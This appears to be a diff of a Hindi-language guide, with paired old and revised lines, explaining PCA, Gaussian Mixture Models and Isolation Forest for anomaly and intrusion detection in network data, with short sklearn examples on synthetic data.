फिर, `A * v = [ [1, 2], [2, 1]] * [1, 1] = [3, 3]` जो ईगेनवैल्यू λ को ईगेनवेक्टर v से गुणा करेगा, जिससे ईगेनवैल्यू λ = 3 होगा।
|
||||
|
||||
#### PCA में गुणांक मान और गुणांक वेक्टर
|
||||
#### PCA में ईगेनवैल्यू और ईगेनवेक्टर
|
||||
|
||||
आइए इसे एक उदाहरण के साथ समझाते हैं। कल्पना करें कि आपके पास 100x100 पिक्सल के चेहरे की ग्रे स्केल तस्वीरों का एक डेटा सेट है। प्रत्येक पिक्सल को एक विशेषता माना जा सकता है, इसलिए आपके पास प्रति छवि 10,000 विशेषताएँ हैं (या प्रति छवि 10000 घटकों का एक वेक्टर)। यदि आप PCA का उपयोग करके इस डेटा सेट के आयाम को कम करना चाहते हैं, तो आप इन चरणों का पालन करेंगे:
|
||||
आइए इसे एक उदाहरण के साथ समझाते हैं। कल्पना करें कि आपके पास 100x100 पिक्सल के चेहरे की कई ग्रे स्केल तस्वीरों का एक डेटा सेट है। प्रत्येक पिक्सल को एक फीचर माना जा सकता है, इसलिए आपके पास प्रति छवि 10,000 फीचर हैं (या प्रति छवि 10000 घटकों का एक वेक्टर)। यदि आप PCA का उपयोग करके इस डेटा सेट के आयाम को घटाना चाहते हैं, तो आप इन चरणों का पालन करेंगे:
|
||||
|
||||
1. **मानकीकरण**: डेटा को केंद्रित करें, प्रत्येक विशेषता (पिक्सल) के औसत को डेटा सेट से घटाकर।
|
||||
1. **मानकीकरण**: डेटा को केंद्रित करें, प्रत्येक फीचर (पिक्सल) के औसत को डेटा सेट से घटाकर।
|
||||
2. **सहसंवेदन मैट्रिक्स**: मानकीकृत डेटा के सहसंवेदन मैट्रिक्स की गणना करें, जो यह कैप्चर करता है कि विशेषताएँ (पिक्सल) एक साथ कैसे भिन्न होती हैं।
|
||||
- ध्यान दें कि दो चर (इस मामले में पिक्सल) के बीच सहसंवेदन यह दर्शाता है कि वे एक साथ कितनी बदलते हैं, इसलिए यहाँ विचार यह है कि यह पता लगाना है कि कौन से पिक्सल एक रैखिक संबंध के साथ एक साथ बढ़ने या घटने की प्रवृत्ति रखते हैं।
|
||||
- उदाहरण के लिए, यदि पिक्सल 1 और पिक्सल 2 एक साथ बढ़ने की प्रवृत्ति रखते हैं, तो उनके बीच सहसंवेदन सकारात्मक होगा।
|
||||
- सहसंवेदन मैट्रिक्स एक 10,000x10,000 मैट्रिक्स होगा जहाँ प्रत्येक प्रविष्टि दो पिक्सलों के बीच सहसंवेदन का प्रतिनिधित्व करती है।
|
||||
3. **गुणांक मान समीकरण हल करें**: हल करने के लिए गुणांक मान समीकरण है `C * v = λ * v` जहाँ C सहसंवेदन मैट्रिक्स है, v गुणांक वेक्टर है, और λ गुणांक मान है। इसे हल करने के लिए निम्नलिखित विधियों का उपयोग किया जा सकता है:
|
||||
- **गुणांक मान विघटन**: गुणांक मान विघटन को सहसंवेदन मैट्रिक्स पर करें ताकि गुणांक मान और गुणांक वेक्टर प्राप्त हो सकें।
|
||||
- **सिंगुलर वैल्यू डिकंपोजिशन (SVD)**: वैकल्पिक रूप से, आप डेटा मैट्रिक्स को सिंगुलर मानों और वेक्टरों में विघटित करने के लिए SVD का उपयोग कर सकते हैं, जो प्रधान घटक भी प्रदान कर सकता है।
|
||||
4. **प्रधान घटक चुनें**: गुणांक मानों को अवरोही क्रम में क्रमबद्ध करें और सबसे बड़े गुणांक मानों के लिए शीर्ष K गुणांक वेक्टर चुनें। ये गुणांक वेक्टर डेटा में अधिकतम विविधता की दिशाओं का प्रतिनिधित्व करते हैं।
|
||||
- ध्यान दें कि दो चर (इस मामले में पिक्सल) के बीच सहसंवेदन यह इंगित करता है कि वे एक साथ कितनी बदलते हैं, इसलिए यहाँ विचार यह है कि यह पता लगाना है कि कौन से पिक्सल एक रैखिक संबंध के साथ एक साथ बढ़ने या घटने की प्रवृत्ति रखते हैं।
|
||||
- उदाहरण के लिए, यदि पिक्सल 1 और पिक्सल 2 एक साथ बढ़ने की प्रवृत्ति रखते हैं, तो उनके बीच का सहसंवेदन सकारात्मक होगा।
|
||||
- सहसंवेदन मैट्रिक्स एक 10,000x10,000 मैट्रिक्स होगा जहाँ प्रत्येक प्रविष्टि दो पिक्सल के बीच के सहसंवेदन का प्रतिनिधित्व करती है।
|
||||
3. **ईगेनवैल्यू समीकरण को हल करें**: हल करने के लिए ईगेनवैल्यू समीकरण है `C * v = λ * v` जहाँ C सहसंवेदन मैट्रिक्स है, v ईगेनवेक्टर है, और λ ईगेनवैल्यू है। इसे निम्नलिखित विधियों का उपयोग करके हल किया जा सकता है:
|
||||
- **ईगेनवैल्यू विघटन**: सहसंवेदन मैट्रिक्स पर ईगेनवैल्यू विघटन करें ताकि ईगेनवैल्यू और ईगेनवेक्टर प्राप्त हो सकें।
|
||||
- **सिंगुलर वैल्यू डिकंपोज़िशन (SVD)**: वैकल्पिक रूप से, आप डेटा मैट्रिक्स को सिंगुलर वैल्यू और वेक्टर में विघटित करने के लिए SVD का उपयोग कर सकते हैं, जो प्रिंसिपल कंपोनेंट्स भी प्रदान कर सकता है।
|
||||
4. **प्रिंसिपल कंपोनेंट्स का चयन करें**: ईगेनवैल्यू को अवरोही क्रम में क्रमबद्ध करें और सबसे बड़ी ईगेनवैल्यू के लिए शीर्ष K ईगेनवेक्टर का चयन करें। ये ईगेनवेक्टर डेटा में अधिकतम विविधता की दिशाओं का प्रतिनिधित्व करते हैं।
|
||||
|
||||
> [!TIP]
|
||||
> *साइबर सुरक्षा में उपयोग के मामले:* सुरक्षा में PCA का एक सामान्य उपयोग विसंगति पहचान के लिए विशेषता कमी है। उदाहरण के लिए, 40+ नेटवर्क मैट्रिक्स (जैसे NSL-KDD विशेषताएँ) के साथ एक घुसपैठ पहचान प्रणाली PCA का उपयोग करके कुछ घटकों में घटा सकती है, डेटा को दृश्यता के लिए संक्षिप्त कर सकती है या क्लस्टरिंग एल्गोरिदम में फीड कर सकती है। विश्लेषक पहले दो प्रधान घटकों के स्थान में नेटवर्क ट्रैफ़िक को प्लॉट कर सकते हैं यह देखने के लिए कि क्या हमले सामान्य ट्रैफ़िक से अलग होते हैं। PCA भी पुनरावृत्त विशेषताओं (जैसे भेजे गए बाइट्स बनाम प्राप्त बाइट्स यदि वे सहसंबंधित हैं) को समाप्त करने में मदद कर सकता है ताकि पहचान एल्गोरिदम अधिक मजबूत और तेज़ हो सकें।
|
||||
> *साइबर सुरक्षा में उपयोग के मामले:* सुरक्षा में PCA का एक सामान्य उपयोग विसंगति पहचान के लिए फीचर घटाना है। उदाहरण के लिए, 40+ नेटवर्क मैट्रिक्स (जैसे NSL-KDD फीचर्स) के साथ एक घुसपैठ पहचान प्रणाली PCA का उपयोग करके कुछ घटकों में घटा सकती है, डेटा को विज़ुअलाइज़ेशन के लिए या क्लस्टरिंग एल्गोरिदम में फीड करने के लिए संक्षिप्त कर सकती है। विश्लेषक पहले दो प्रिंसिपल कंपोनेंट्स के स्पेस में नेटवर्क ट्रैफ़िक को प्लॉट कर सकते हैं यह देखने के लिए कि क्या हमले सामान्य ट्रैफ़िक से अलग होते हैं। PCA भी पुनरावृत्त फीचर्स (जैसे भेजे गए बाइट्स बनाम प्राप्त बाइट्स यदि वे सहसंबंधित हैं) को समाप्त करने में मदद कर सकता है ताकि पहचान एल्गोरिदम अधिक मजबूत और तेज़ हो सकें।
|
||||
|
||||
#### धारणाएँ और सीमाएँ
|
||||
|
||||
PCA मानता है कि **विविधता के प्रधान अक्ष अर्थपूर्ण हैं** - यह एक रैखिक विधि है, इसलिए यह डेटा में रैखिक सहसंबंधों को कैप्चर करता है। यह असुपरवाइज्ड है क्योंकि यह केवल विशेषता सहसंवेदन का उपयोग करता है। PCA के लाभों में शोर कमी (छोटी विविधता वाले घटक अक्सर शोर से संबंधित होते हैं) और विशेषताओं का डेकोरिलेशन शामिल है। यह मध्यम उच्च आयामों के लिए गणनात्मक रूप से कुशल है और अक्सर अन्य एल्गोरिदम के लिए एक उपयोगी पूर्व-प्रसंस्करण चरण होता है (आयाम की शाप को कम करने के लिए)। एक सीमा यह है कि PCA रैखिक संबंधों तक सीमित है - यह जटिल गैर-रैखिक संरचना को कैप्चर नहीं करेगा (जबकि ऑटोएन्कोडर या t-SNE ऐसा कर सकते हैं)। इसके अलावा, PCA घटकों को मूल विशेषताओं के संदर्भ में व्याख्या करना कठिन हो सकता है (ये मूल विशेषताओं के संयोजन होते हैं)। साइबर सुरक्षा में, एक को सतर्क रहना चाहिए: एक हमला जो केवल एक कम विविधता वाली विशेषता में एक सूक्ष्म परिवर्तन का कारण बनता है, वह शीर्ष PCs में नहीं दिख सकता (क्योंकि PCA विविधता को प्राथमिकता देता है, न कि अनिवार्य रूप से "दिलचस्पता")।
|
||||
PCA मानता है कि **विविधता के प्रिंसिपल अक्ष अर्थपूर्ण हैं** - यह एक रैखिक विधि है, इसलिए यह डेटा में रैखिक सहसंबंधों को कैप्चर करता है। यह अनियंत्रित है क्योंकि यह केवल फीचर सहसंवेदन का उपयोग करता है। PCA के लाभों में शोर घटाना (छोटी विविधता वाले घटक अक्सर शोर से संबंधित होते हैं) और विशेषताओं का डेकोरिलेशन शामिल है। यह मध्यम उच्च आयामों के लिए गणनात्मक रूप से कुशल है और अक्सर अन्य एल्गोरिदम के लिए एक उपयोगी पूर्व-प्रसंस्करण चरण होता है (आयाम की शाप को कम करने के लिए)। एक सीमा यह है कि PCA रैखिक संबंधों तक सीमित है - यह जटिल गैर-रैखिक संरचना को कैप्चर नहीं करेगा (जबकि ऑटोएन्कोडर्स या t-SNE ऐसा कर सकते हैं)। इसके अलावा, PCA घटकों को मूल विशेषताओं के संदर्भ में व्याख्या करना कठिन हो सकता है (ये मूल विशेषताओं के संयोजन होते हैं)। साइबर सुरक्षा में, एक को सतर्क रहना चाहिए: एक हमला जो केवल एक कम विविधता वाले फीचर में एक सूक्ष्म परिवर्तन का कारण बनता है, शीर्ष PCs में नहीं दिख सकता (क्योंकि PCA विविधता को प्राथमिकता देता है, न कि अनिवार्य रूप से "दिलचस्पता")।
|
||||
|
||||
<details>
|
||||
<summary>उदाहरण -- नेटवर्क डेटा के आयामों को कम करना
|
||||
<summary>उदाहरण -- नेटवर्क डेटा के आयामों को घटाना
|
||||
</summary>
|
||||
|
||||
मान लीजिए कि हमारे पास कई विशेषताओं (जैसे, अवधि, बाइट्स, गिनती) के साथ नेटवर्क कनेक्शन लॉग हैं। हम एक सिंथेटिक 4-आयामी डेटा सेट (विशेषताओं के बीच कुछ सहसंबंध के साथ) उत्पन्न करेंगे और इसे दृश्यता या आगे के विश्लेषण के लिए 2 आयामों में कम करने के लिए PCA का उपयोग करेंगे।
|
||||
मान लीजिए कि हमारे पास कई विशेषताओं (जैसे, अवधि, बाइट्स, गिनती) के साथ नेटवर्क कनेक्शन लॉग हैं। हम एक सिंथेटिक 4-आयामी डेटा सेट (विशेषताओं के बीच कुछ सहसंबंध के साथ) उत्पन्न करेंगे और इसे विज़ुअलाइज़ेशन या आगे के विश्लेषण के लिए 2 आयामों में घटाने के लिए PCA का उपयोग करेंगे।
|
||||
```python
|
||||
from sklearn.decomposition import PCA
|
||||
|
||||
@ -223,25 +224,26 @@ print("Original shape:", data_4d.shape, "Reduced shape:", data_2d.shape)
|
||||
# We can examine a few transformed points
|
||||
print("First 5 data points in PCA space:\n", data_2d[:5])
|
||||
```
|
||||
यहां हमने पहले के सामान्य ट्रैफ़िक क्लस्टरों को लिया और प्रत्येक डेटा बिंदु को दो अतिरिक्त विशेषताओं (पैकेट और त्रुटियाँ) के साथ विस्तारित किया जो बाइट्स और अवधि के साथ सहसंबंधित हैं। फिर PCA का उपयोग 4 विशेषताओं को 2 प्रमुख घटकों में संकुचित करने के लिए किया जाता है। हम व्याख्यायित विविधता अनुपात प्रिंट करते हैं, जो यह दिखा सकता है कि, कहने के लिए, >95% विविधता 2 घटकों द्वारा कैप्चर की गई है (जिसका अर्थ है कि जानकारी का थोड़ा नुकसान हुआ है)। आउटपुट यह भी दिखाता है कि डेटा आकार (1500, 4) से (1500, 2) में घट रहा है। PCA स्पेस में पहले कुछ बिंदुओं को उदाहरण के रूप में दिया गया है। व्यावहारिक रूप से, कोई डेटा_2डी को प्लॉट कर सकता है ताकि यह दृश्य रूप से जांच सके कि क्या क्लस्टर अलग-अलग हैं। यदि कोई विसंगति मौजूद थी, तो कोई इसे PCA-स्थान में मुख्य क्लस्टर से दूर एक बिंदु के रूप में देख सकता है। इस प्रकार PCA जटिल डेटा को मानव व्याख्या के लिए या अन्य एल्गोरिदम के लिए इनपुट के रूप में प्रबंधनीय रूप में संकुचित करने में मदद करता है।
|
||||
यहां हमने पहले के सामान्य ट्रैफ़िक क्लस्टरों को लिया और प्रत्येक डेटा बिंदु को दो अतिरिक्त विशेषताओं (पैकेट और त्रुटियाँ) के साथ विस्तारित किया जो बाइट्स और अवधि के साथ सहसंबंधित हैं। फिर PCA का उपयोग 4 विशेषताओं को 2 प्रमुख घटकों में संकुचित करने के लिए किया जाता है। हम व्याख्यायित विविधता अनुपात प्रिंट करते हैं, जो यह दिखा सकता है कि, कहने के लिए, 2 घटकों द्वारा >95% विविधता कैप्चर की गई है (जिसका अर्थ है कि जानकारी का थोड़ा नुकसान हुआ है)। आउटपुट यह भी दिखाता है कि डेटा आकार (1500, 4) से (1500, 2) में घट रहा है। PCA स्पेस में पहले कुछ बिंदुओं को उदाहरण के रूप में दिया गया है। प्रैक्टिस में, कोई डेटा_2डी को प्लॉट कर सकता है ताकि यह दृश्य रूप से जांच सके कि क्या क्लस्टर अलग-अलग हैं। यदि कोई विसंगति मौजूद थी, तो कोई इसे PCA-स्पेस में मुख्य क्लस्टर से दूर एक बिंदु के रूप में देख सकता है। इस प्रकार PCA जटिल डेटा को मानव व्याख्या के लिए या अन्य एल्गोरिदम के इनपुट के रूप में प्रबंधनीय रूप में संक्षिप्त करने में मदद करता है।
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
### Gaussian Mixture Models (GMM)
|
||||
|
||||
एक Gaussian Mixture Model मानता है कि डेटा **अज्ञात पैरामीटर के साथ कई Gaussian (सामान्य) वितरणों के मिश्रण से उत्पन्न होता है**। मूल रूप से, यह एक संभाव्य क्लस्टरिंग मॉडल है: यह प्रत्येक बिंदु को K Gaussian घटकों में से एक को धीरे-धीरे असाइन करने की कोशिश करता है। प्रत्येक Gaussian घटक k का एक औसत वेक्टर (μ_k), सहवर्तन मैट्रिक्स (Σ_k), और एक मिश्रण वजन (π_k) होता है जो दर्शाता है कि वह क्लस्टर कितना प्रचलित है। K-Means के विपरीत जो "कठोर" असाइनमेंट करता है, GMM प्रत्येक बिंदु को प्रत्येक क्लस्टर में शामिल होने की संभावना देता है।
|
||||
एक Gaussian Mixture Model मानता है कि डेटा **कई Gaussian (सामान्य) वितरणों के मिश्रण से उत्पन्न होता है जिनके अज्ञात पैरामीटर** होते हैं। मूल रूप से, यह एक संभाव्य क्लस्टरिंग मॉडल है: यह प्रत्येक बिंदु को K Gaussian घटकों में से एक को धीरे-धीरे असाइन करने की कोशिश करता है। प्रत्येक Gaussian घटक k का एक औसत वेक्टर (μ_k), सहवर्तन मैट्रिक्स (Σ_k), और एक मिश्रण वजन (π_k) होता है जो दर्शाता है कि वह क्लस्टर कितना प्रचलित है। K-Means के विपरीत जो "कठोर" असाइनमेंट करता है, GMM प्रत्येक बिंदु को प्रत्येक क्लस्टर में शामिल होने की संभावना देता है।
|
||||
|
||||
GMM फिटिंग आमतौर पर Expectation-Maximization (EM) एल्गोरिदम के माध्यम से की जाती है:
|
||||
|
||||
- **Initialization**: औसत, सहवर्तन, और मिश्रण गुणांक के लिए प्रारंभिक अनुमान के साथ शुरू करें (या K-Means परिणामों का उपयोग प्रारंभिक बिंदु के रूप में करें)।
|
||||
|
||||
- **E-step (Expectation)**: वर्तमान पैरामीटर के आधार पर, प्रत्येक बिंदु के लिए प्रत्येक क्लस्टर की जिम्मेदारी की गणना करें: मूल रूप से `r_nk = P(z_k | x_n)` जहां z_k वह अंतर्निहित चर है जो बिंदु x_n के लिए क्लस्टर सदस्यता को इंगित करता है। यह बेयस के प्रमेय का उपयोग करके किया जाता है, जहां हम वर्तमान पैरामीटर के आधार पर प्रत्येक बिंदु के लिए प्रत्येक क्लस्टर में शामिल होने की पश्चात संभाव्यता की गणना करते हैं। जिम्मेदारियों की गणना इस प्रकार की जाती है:
|
||||
- **E-step (Expectation)**: वर्तमान पैरामीटर के आधार पर, प्रत्येक बिंदु के लिए प्रत्येक क्लस्टर की जिम्मेदारी की गणना करें: मूल रूप से `r_nk = P(z_k | x_n)` जहां z_k वह छिपा हुआ चर है जो बिंदु x_n के लिए क्लस्टर सदस्यता को इंगित करता है। यह बेयस के प्रमेय का उपयोग करके किया जाता है, जहां हम वर्तमान पैरामीटर के आधार पर प्रत्येक बिंदु के लिए प्रत्येक क्लस्टर में शामिल होने की पूर्वानुमानित संभावना की गणना करते हैं। जिम्मेदारियों की गणना इस प्रकार की जाती है:
|
||||
```math
|
||||
r_{nk} = \frac{\pi_k \mathcal{N}(x_n | \mu_k, \Sigma_k)}{\sum_{j=1}^{K} \pi_j \mathcal{N}(x_n | \mu_j, \Sigma_j)}
|
||||
```
|
||||
जहां:
|
||||
- \( \pi_k \) क्लस्टर k के लिए मिश्रण गुणांक है (क्लस्टर k की पूर्व संभाव्यता),
|
||||
- \( \mathcal{N}(x_n | \mu_k, \Sigma_k) \) बिंदु \( x_n \) के लिए Gaussian संभाव्यता घनत्व फ़ंक्शन है जो औसत \( \mu_k \) और सहवर्तन \( \Sigma_k \) को दिया गया है।
|
||||
- \( \pi_k \) क्लस्टर k के लिए मिश्रण गुणांक है (क्लस्टर k की पूर्व संभावना),
|
||||
- \( \mathcal{N}(x_n | \mu_k, \Sigma_k) \) बिंदु \( x_n \) के लिए Gaussian संभावना घनत्व फ़ंक्शन है जो औसत \( \mu_k \) और सहवर्तन \( \Sigma_k \) को दिया गया है।
|
||||
|
||||
- **M-step (Maximization)**: E-step में गणना की गई जिम्मेदारियों का उपयोग करके पैरामीटर को अपडेट करें:
|
||||
- प्रत्येक औसत μ_k को बिंदुओं के भारित औसत के रूप में अपडेट करें, जहां वजन जिम्मेदारियाँ हैं।
|
||||
@ -286,24 +288,24 @@ print("Log-likelihood of sample attack under GMM:", log_likelihood)
|
||||
|
||||
### Isolation Forest
|
||||
|
||||
**Isolation Forest** एक एंसेंबल विसंगति पहचान एल्गोरिदम है जो बिंदुओं को यादृच्छिक रूप से अलग करने के विचार पर आधारित है। सिद्धांत यह है कि विसंगतियाँ कम और भिन्न होती हैं, इसलिए उन्हें सामान्य बिंदुओं की तुलना में अलग करना आसान होता है। एक Isolation Forest कई बाइनरी आइसोलेशन ट्री (यादृच्छिक निर्णय वृक्ष) बनाता है जो डेटा को यादृच्छिक रूप से विभाजित करते हैं। एक वृक्ष में प्रत्येक नोड पर, एक यादृच्छिक विशेषता का चयन किया जाता है और उस विशेषता के लिए डेटा के न्यूनतम और अधिकतम के बीच एक यादृच्छिक विभाजन मान चुना जाता है। यह विभाजन डेटा को दो शाखाओं में विभाजित करता है। वृक्ष को तब तक बढ़ाया जाता है जब तक प्रत्येक बिंदु अपने स्वयं के पत्ते में अलग नहीं हो जाता या अधिकतम वृक्ष ऊँचाई नहीं पहुँच जाती।
|
||||
**Isolation Forest** एक एंसेंबल विसंगति पहचान एल्गोरिदम है जो बिंदुओं को यादृच्छिक रूप से अलग करने के विचार पर आधारित है। सिद्धांत यह है कि विसंगतियाँ कम और भिन्न होती हैं, इसलिए उन्हें सामान्य बिंदुओं की तुलना में अलग करना आसान होता है। एक Isolation Forest कई बाइनरी आइसोलेशन ट्री (यादृच्छिक निर्णय वृक्ष) बनाता है जो डेटा को यादृच्छिक रूप से विभाजित करता है। एक वृक्ष में प्रत्येक नोड पर, एक यादृच्छिक विशेषता का चयन किया जाता है और उस विशेषता के डेटा के लिए न्यूनतम और अधिकतम के बीच एक यादृच्छिक विभाजन मान चुना जाता है। यह विभाजन डेटा को दो शाखाओं में विभाजित करता है। वृक्ष तब तक बढ़ता है जब तक प्रत्येक बिंदु अपने स्वयं के पत्ते में अलग नहीं हो जाता या अधिकतम वृक्ष ऊँचाई तक नहीं पहुँच जाता।
|
||||
|
||||
विसंगति पहचान इन यादृच्छिक वृक्षों में प्रत्येक बिंदु की पथ लंबाई को देखकर की जाती है - बिंदु को अलग करने के लिए आवश्यक विभाजनों की संख्या। सहज रूप से, विसंगतियाँ (आउटलेयर) जल्दी अलग होने की प्रवृत्ति रखती हैं क्योंकि एक यादृच्छिक विभाजन एक आउटलेयर (जो एक विरल क्षेत्र में होता है) को सामान्य बिंदु की तुलना में अलग करने की अधिक संभावना होती है जो एक घनी क्लस्टर में होता है। Isolation Forest सभी वृक्षों के औसत पथ लंबाई से एक विसंगति स्कोर की गणना करता है: छोटा औसत पथ → अधिक विसंगति। स्कोर आमतौर पर [0,1] पर सामान्यीकृत होते हैं जहाँ 1 का अर्थ है बहुत संभावित विसंगति।
|
||||
विसंगति पहचान इन यादृच्छिक वृक्षों में प्रत्येक बिंदु की पथ लंबाई को देखकर की जाती है - बिंदु को अलग करने के लिए आवश्यक विभाजनों की संख्या। सहज रूप से, विसंगतियाँ (आउटलेयर) जल्दी अलग होने की प्रवृत्ति रखती हैं क्योंकि एक यादृच्छिक विभाजन एक आउटलेयर (जो एक विरल क्षेत्र में होता है) को सामान्य बिंदु की तुलना में अलग करने की अधिक संभावना होती है जो एक घने क्लस्टर में होता है। Isolation Forest सभी वृक्षों के औसत पथ लंबाई से एक विसंगति स्कोर की गणना करता है: छोटी औसत पथ → अधिक विसंगति। स्कोर आमतौर पर [0,1] पर सामान्यीकृत होते हैं जहाँ 1 का अर्थ है बहुत संभावित विसंगति।
|
||||
|
||||
> [!TIP]
|
||||
> *साइबर सुरक्षा में उपयोग के मामले:* Isolation Forest का सफलतापूर्वक उपयोग घुसपैठ पहचान और धोखाधड़ी पहचान में किया गया है। उदाहरण के लिए, नेटवर्क ट्रैफ़िक लॉग पर एक Isolation Forest को प्रशिक्षित करें जिसमें ज्यादातर सामान्य व्यवहार हो; वन अजीब ट्रैफ़िक (जैसे एक IP जो एक अनसुने पोर्ट का उपयोग करता है या एक असामान्य पैकेट आकार पैटर्न) के लिए छोटे पथ उत्पन्न करेगा, इसे निरीक्षण के लिए चिह्नित करेगा। चूंकि इसे लेबल किए गए हमलों की आवश्यकता नहीं होती है, यह अज्ञात हमले के प्रकारों का पता लगाने के लिए उपयुक्त है। इसे उपयोगकर्ता लॉगिन डेटा पर भी तैनात किया जा सकता है ताकि खाता अधिग्रहण का पता लगाया जा सके (असामान्य लॉगिन समय या स्थान जल्दी अलग हो जाते हैं)। एक उपयोग के मामले में, एक Isolation Forest एक उद्यम की सुरक्षा कर सकता है प्रणाली मैट्रिक्स की निगरानी करके और जब मैट्रिक्स (CPU, नेटवर्क, फ़ाइल परिवर्तनों) का एक संयोजन ऐतिहासिक पैटर्न से बहुत भिन्न दिखता है (छोटे आइसोलेशन पथ) तो एक अलर्ट उत्पन्न करता है।
|
||||
> *साइबर सुरक्षा में उपयोग के मामले:* Isolation Forests का सफलतापूर्वक उपयोग घुसपैठ पहचान और धोखाधड़ी पहचान में किया गया है। उदाहरण के लिए, नेटवर्क ट्रैफ़िक लॉग पर एक Isolation Forest को प्रशिक्षित करें जिसमें ज्यादातर सामान्य व्यवहार हो; वन अजीब ट्रैफ़िक (जैसे एक IP जो एक अनसुने पोर्ट का उपयोग करता है या एक असामान्य पैकेट आकार पैटर्न) के लिए छोटे पथ उत्पन्न करेगा, इसे निरीक्षण के लिए चिह्नित करेगा। क्योंकि इसे लेबल किए गए हमलों की आवश्यकता नहीं होती है, यह अज्ञात हमले के प्रकारों का पता लगाने के लिए उपयुक्त है। इसे उपयोगकर्ता लॉगिन डेटा पर भी तैनात किया जा सकता है ताकि खाता अधिग्रहण का पता लगाया जा सके (असामान्य लॉगिन समय या स्थान जल्दी अलग हो जाते हैं)। एक उपयोग के मामले में, एक Isolation Forest एक उद्यम की सुरक्षा कर सकता है प्रणाली मैट्रिक्स की निगरानी करके और जब मैट्रिक्स (CPU, नेटवर्क, फ़ाइल परिवर्तनों) का एक संयोजन ऐतिहासिक पैटर्न से बहुत अलग दिखता है (छोटे आइसोलेशन पथ) तो एक अलर्ट उत्पन्न करता है।
|
||||
|
||||
#### Assumptions and Limitations
|
||||
|
||||
**Advantages**: Isolation Forest को वितरण के अनुमान की आवश्यकता नहीं होती है; यह सीधे अलगाव को लक्षित करता है। यह उच्च-आयामी डेटा और बड़े डेटा सेट पर कुशल है (वन बनाने के लिए रैखिक जटिलता $O(n\log n)$) क्योंकि प्रत्येक वृक्ष केवल विशेषताओं और विभाजनों के एक उपसमुच्चय के साथ बिंदुओं को अलग करता है। यह संख्यात्मक विशेषताओं को अच्छी तरह से संभालने की प्रवृत्ति रखता है और यह दूरी-आधारित विधियों की तुलना में तेज हो सकता है जो $O(n^2)$ हो सकती हैं। यह स्वचालित रूप से एक विसंगति स्कोर भी देता है, इसलिए आप अलर्ट के लिए एक थ्रेशोल्ड सेट कर सकते हैं (या अपेक्षित विसंगति अंश के आधार पर स्वचालित रूप से कटऑफ तय करने के लिए एक संदूषण पैरामीटर का उपयोग कर सकते हैं)।
|
||||
|
||||
**Limitations**: इसकी यादृच्छिक प्रकृति के कारण, परिणामों में चलनों के बीच थोड़ी भिन्नता हो सकती है (हालांकि पर्याप्त वृक्षों के साथ यह मामूली है)। यदि डेटा में बहुत सारी अप्रासंगिक विशेषताएँ हैं या यदि विसंगतियाँ किसी विशेषता में मजबूत रूप से भिन्न नहीं होती हैं, तो अलगाव प्रभावी नहीं हो सकता है (यादृच्छिक विभाजन सामान्य बिंदुओं को संयोग से अलग कर सकते हैं - हालाँकि कई वृक्षों का औसत लेना इसे कम करता है)। इसके अलावा, Isolation Forest सामान्यतः मानता है कि विसंगतियाँ एक छोटी अल्पसंख्यक हैं (जो आमतौर पर साइबर सुरक्षा परिदृश्यों में सच है)।
|
||||
**Limitations**: इसकी यादृच्छिक प्रकृति के कारण, परिणामों में चलनों के बीच थोड़ी भिन्नता हो सकती है (हालांकि पर्याप्त वृक्षों के साथ यह मामूली है)। यदि डेटा में बहुत सारी अप्रासंगिक विशेषताएँ हैं या यदि विसंगतियाँ किसी विशेषता में मजबूत रूप से भिन्न नहीं होती हैं, तो अलगाव प्रभावी नहीं हो सकता है (यादृच्छिक विभाजन सामान्य बिंदुओं को संयोग से अलग कर सकते हैं - हालाँकि कई वृक्षों का औसत इसको कम करता है)। इसके अलावा, Isolation Forest सामान्यतः मानता है कि विसंगतियाँ एक छोटी अल्पसंख्यक हैं (जो आमतौर पर साइबर सुरक्षा परिदृश्यों में सच है)।
|
||||
|
||||
<details>
|
||||
<summary>Example -- Detecting Outliers in Network Logs
|
||||
</summary>
|
||||
|
||||
हम पहले के परीक्षण डेटा सेट (जिसमें सामान्य और कुछ हमले के बिंदु शामिल हैं) का उपयोग करेंगे और देखेंगे कि क्या एक Isolation Forest हमलों को अलग कर सकता है। हम मान लेंगे कि हम ~15% डेटा को विसंगतिपूर्ण मानते हैं (प्रदर्शन के लिए)।
|
||||
हम पहले के परीक्षण डेटा सेट (जिसमें सामान्य और कुछ हमले के बिंदु शामिल हैं) का उपयोग करेंगे और देखेंगे कि क्या एक Isolation Forest हमलों को अलग कर सकता है। हम मान लेंगे कि हम डेटा के ~15% को विसंगतिपूर्ण मानते हैं (प्रदर्शन के लिए)।
|
||||
```python
|
||||
from sklearn.ensemble import IsolationForest
|
||||
|
||||
@ -321,7 +323,7 @@ print("Example anomaly scores (lower means more anomalous):", anomaly_scores[:5]
|
||||
```
|
||||
इस कोड में, हम `IsolationForest` को 100 पेड़ों के साथ स्थापित करते हैं और `contamination=0.15` सेट करते हैं (जिसका अर्थ है कि हम लगभग 15% विसंगतियों की अपेक्षा करते हैं; मॉडल अपने स्कोर थ्रेशोल्ड को इस तरह सेट करेगा कि ~15% बिंदुओं को चिह्नित किया जाए)। हम इसे `X_test_if` पर फिट करते हैं जिसमें सामान्य और हमले के बिंदुओं का मिश्रण होता है (नोट: सामान्यतः आप प्रशिक्षण डेटा पर फिट करते हैं और फिर नए डेटा पर भविष्यवाणी करते हैं, लेकिन यहाँ उदाहरण के लिए हम उसी सेट पर फिट और भविष्यवाणी करते हैं ताकि सीधे परिणाम देख सकें)।
|
||||
|
||||
आउटपुट पहले 20 बिंदुओं के लिए पूर्वानुमानित लेबल दिखाता है (जहाँ -1 विसंगति को दर्शाता है)। हम यह भी प्रिंट करते हैं कि कुल मिलाकर कितनी विसंगतियाँ पाई गईं और कुछ उदाहरण विसंगति स्कोर। हम उम्मीद करते हैं कि 120 बिंदुओं में से लगभग 18 को -1 के रूप में लेबल किया जाएगा (क्योंकि संदूषण 15% था)। यदि हमारे 20 हमले के नमूने वास्तव में सबसे अधिक बाहरी हैं, तो उनमें से अधिकांश उन -1 पूर्वानुमानों में दिखाई देने चाहिए। विसंगति स्कोर (Isolation Forest का निर्णय कार्य) सामान्य बिंदुओं के लिए अधिक और विसंगतियों के लिए कम (अधिक नकारात्मक) होता है - हम कुछ मान प्रिंट करते हैं ताकि विभाजन को देख सकें। प्रैक्टिस में, कोई डेटा को स्कोर के अनुसार क्रमबद्ध कर सकता है ताकि शीर्ष बाहरी बिंदुओं को देखा जा सके और उनकी जांच की जा सके। इस प्रकार, Isolation Forest बड़े बिना लेबल वाले सुरक्षा डेटा के माध्यम से छानने और मानव विश्लेषण या आगे की स्वचालित जांच के लिए सबसे असामान्य उदाहरणों को चुनने का एक कुशल तरीका प्रदान करता है।
|
||||
